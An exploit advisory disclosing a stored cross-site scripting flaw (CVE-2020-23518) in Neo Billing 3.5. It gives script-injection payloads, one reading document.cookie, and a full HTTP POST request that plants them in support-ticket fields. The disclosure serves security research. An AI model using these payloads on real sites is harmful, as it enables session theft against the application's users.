Neo Billing 3.5 - Persistent Cross-Site Scripting

# Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability
# Date: 18.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547
# Version: 3.5
# CWE : CWE-79
# CVE: CVE-2020-23518

[Description]

# Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations.
# Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability. 

[Proof of Concept]

# 1. Authorization  as customer (regular user account) [//host/neo/crm/user/login]
# 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket]
# 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid] 

[Example paylods]

# Example payload: "><img src="x" onerror="alert('XSS');">
# Example payload: "><script>alert(document.cookie)</script>

[POST Request]

POST /neo/crm/tickets/addticket HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: //host/neo/crm/tickets/addticket
Content-Type: multipart/form-data; boundary=---------------------------899768029113033755249127523
Content-Length: 694
Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe1566123585; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj
Connection: close
Upgrade-Insecure-Requests: 1
 
-----------------------------899768029113033755249127523
Content-Disposition: form-data; name="title"
 
"><script>alert('XSS')</script>
-----------------------------899768029113033755249127523
Content-Disposition: form-data; name="content"
 
<p>"><script>alert('XSS')</script><br></p>
-----------------------------899768029113033755249127523
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------899768029113033755249127523
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream
 
 
-----------------------------899768029113033755249127523--